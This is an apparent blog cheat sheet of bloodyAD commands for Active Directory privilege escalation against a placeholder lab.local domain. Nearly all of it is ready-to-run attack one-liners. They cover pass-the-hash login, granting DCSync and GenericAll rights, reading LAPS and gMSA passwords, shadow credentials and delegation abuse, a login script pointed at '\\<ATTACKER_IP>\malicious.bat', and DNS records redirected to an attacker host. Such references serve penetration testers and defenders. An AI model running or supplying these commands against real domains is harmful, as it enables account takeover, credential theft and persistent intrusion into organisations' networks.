Post

bloodyAD

bloodyAD

This tool can perform specific LDAP calls to a domain controller in order to perform AD privesc. bloodyAD supports authentication using cleartext passwords, pass-the-hash, pass-the-ticket or certificates and binds to LDAP services of a domain controller to perform AD privesc. Exchange of sensitive information without LDAPS is supported. It is also designed to be used transparently with a SOCKS proxy.


Installation

1
pipx install git+https://github.com/CravateRouge/bloodyAD

Authentication

  • User/Password
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' ...<SNIP>....
  • Pass-the-Hash (PtH)
1
bloodyAD --host $IP -d lab.local -u 'user' -p ':e656e07c56d831611b577b160b259ad2' ...<SNIP>....
  • Kerberos (FQDN required -> example: DC01.lab.local)
1
bloodyAD --host $FQDN -d lab.local -k ...<SNIP>....

Enumeration

ACLs/DACL Enum

  • Enumerate object attributes where we have WRITABLE access (very useful for checking permissions that don’t appear in BloodHound)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get writable --detail
  • Get all securityDescriptors of an object (very useful to manually enumerate the entire DACL list of an object searching for permissions that don’t appear in BloodHound)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_OBJECT' --attr ntsecuritydescriptor --resolve-sd

Domain Enumeration

  • Get all available information for a user
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_USER'
  • Get all critical information for a user
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_USER' --attr name,distinguishedName,objectSid,description,memberOf,userAccountControl,adminCount
  • Get group membership for a user/group/computer
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_OBJECT' --attr memberOf
  • Get a list of all members of a group
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get membership 'TARGET_GROUP'
  • Get a list of all users (only retrieves the distinguishedName)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype useronly
  • Get a list of all groups (only retrieves the distinguishedName)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype group
  • Get a list of all computers (only retrieves the distinguishedName)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype computer
  • Get a list of all Organizational Units (OUs) (only retrieves the distinguishedName)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype container
  • Get a list of all Trusts
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get children --otype trustedDomain
  • Get a list of all accounts with an SPN (servicePrincipalName) assigned {Kerberoastable users}
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(&(samAccountType=805306368)(servicePrincipalName=*))' --attr sAMAccountName | grep sAMAccountName | cut -d ' ' -f 2
  • Get a list of all accounts with the DONT_REQ_PREAUTH flag {AS-REP Roastable users}
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' --attr sAMAccountName
  • Get the total available Machine Quota
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuota
  • Get the AD Forest level
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr msDS-Behavior-Version
  • Get the domain minimum password length
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr minPwdLength

ACL & Object Attacks

  • Add a user to a group
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add groupMember 'GROUP_NAME' 'MEMBER_TO_ADD'
  • Remove a user from a group
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' delete groupMember 'GROUP_NAME' 'MEMBER_TO_DELETE'
  • Make a user the owner of an object (Usually via the WriteOwner ACL)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set owner 'TARGET_OBJECT' 'TARGET_USER'
  • Add ‘GenericAll’ (Full Control) permissions to an object
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add genericAll 'DN_TARGET' 'TARGET_USER'
  • Enable a disabled account
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove uac 'TARGET_USER' -f ACCOUNTDISABLE
  • Add DCSync permissions to an object
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add dcsync 'OBJECT_TARGET'
  • Add a malicious script to a user that executes upon login (scriptPath)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET' scriptpath -v '\\<ATTACKER_IP>\malicious.bat'
  • Modify the UPN (userPrincipalName) for ADCS/UPN Spoofing attacks
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET_USER' userPrincipalName -v 'impersonateUser@lab.local'
  • Modify a user’s mail attribute
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET_USER' mail -v 'pwned@lab.local'
  • Assign a value to the altSecurityIdentities attribute for X.509/ESC14b attacks
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET_USER' altSecurityIdentities -v 'X509:<I><....SNIP.....>'
  • Create a new computer account
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add computer 'COMPUTER_NAME' 'COMPUTER_PASSWORD'
  • Abuse CREATE_CHILD on an OU in Windows Server 2025 - dMSA (BadSuccessor)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add badSuccessor attacker_dMSA 

Password Attacks

  • Modify a user’s password
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set password 'TARGET_USER' 'Gzzcoo123'
  • Read a computer’s gMSA password
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'TARGET_gMSA' -attr msDS-ManagedPassword
  • Read a computer’s LAPS password
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

Kerberos Attacks

  • Enable DONT_REQ_PREAUTH to make a user AS-REP Roastable
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add uac 'TARGET_USER' -f DONT_REQ_PREAUTH
  • Shadow Credentials Attack (requires PKINIT afterwards)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add shadowCredentials 'TARGET'
  • Add the TRUSTED_TO_AUTH_FOR_DELEGATION flag - Unconstrained Delegation
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add uac 'TARGET' -f TRUSTED_TO_AUTH_FOR_DELEGATION
  • Add the DELEGATE_TO flag - Resource-based Constrained Delegation
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add rbcd 'DELEGATE_TO' 'DELEGATE_FROM'
  • Assign an SPN to a user to make them Kerberoastable
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set object 'TARGET' servicePrincipalName -v 'cifs/gzzcoo'
  • Remove the previously added SPN
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' remove object 'TARGET' servicePrincipalName

DNS Attacks

  • Check if we have permission to add DNS records; we can observe this using get writable --detail.

  • Query the system DNS records

1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get dnsDump > dnsdump.txt
  • Create a new DNS record to perform DNS Spoofing attacks
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' add dnsRecord 'DNS_RECORD_TARGET' 'ATTACKER_IP'

Restore AD Objects

https://cravaterouge.com/articles/ad-bin/

  • Check if we have permissions to restore deleted objects (can also be seen with get writable --detail if we have ACLs over other users).
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get object 'DC=lab,DC=local' --attr ntsecuritydescriptor --resolve-sd | grep -B3 'Reanimate-Tombstones'
  • Check for deleted users in AD
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' get search -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065 --filter '(isDeleted=TRUE)' --attr name,objectSid,objectGuid
  • Restore a deleted user in AD (you can use the GUID, SID, DN, or sAMAccountName)
1
bloodyAD --host $IP -d lab.local -u 'user' -p 'password' set restore 'S-1-5-21-3927696377-1337352550-2781715495-1110'

References / Useful Pages

This post is licensed under CC BY 4.0 by the author.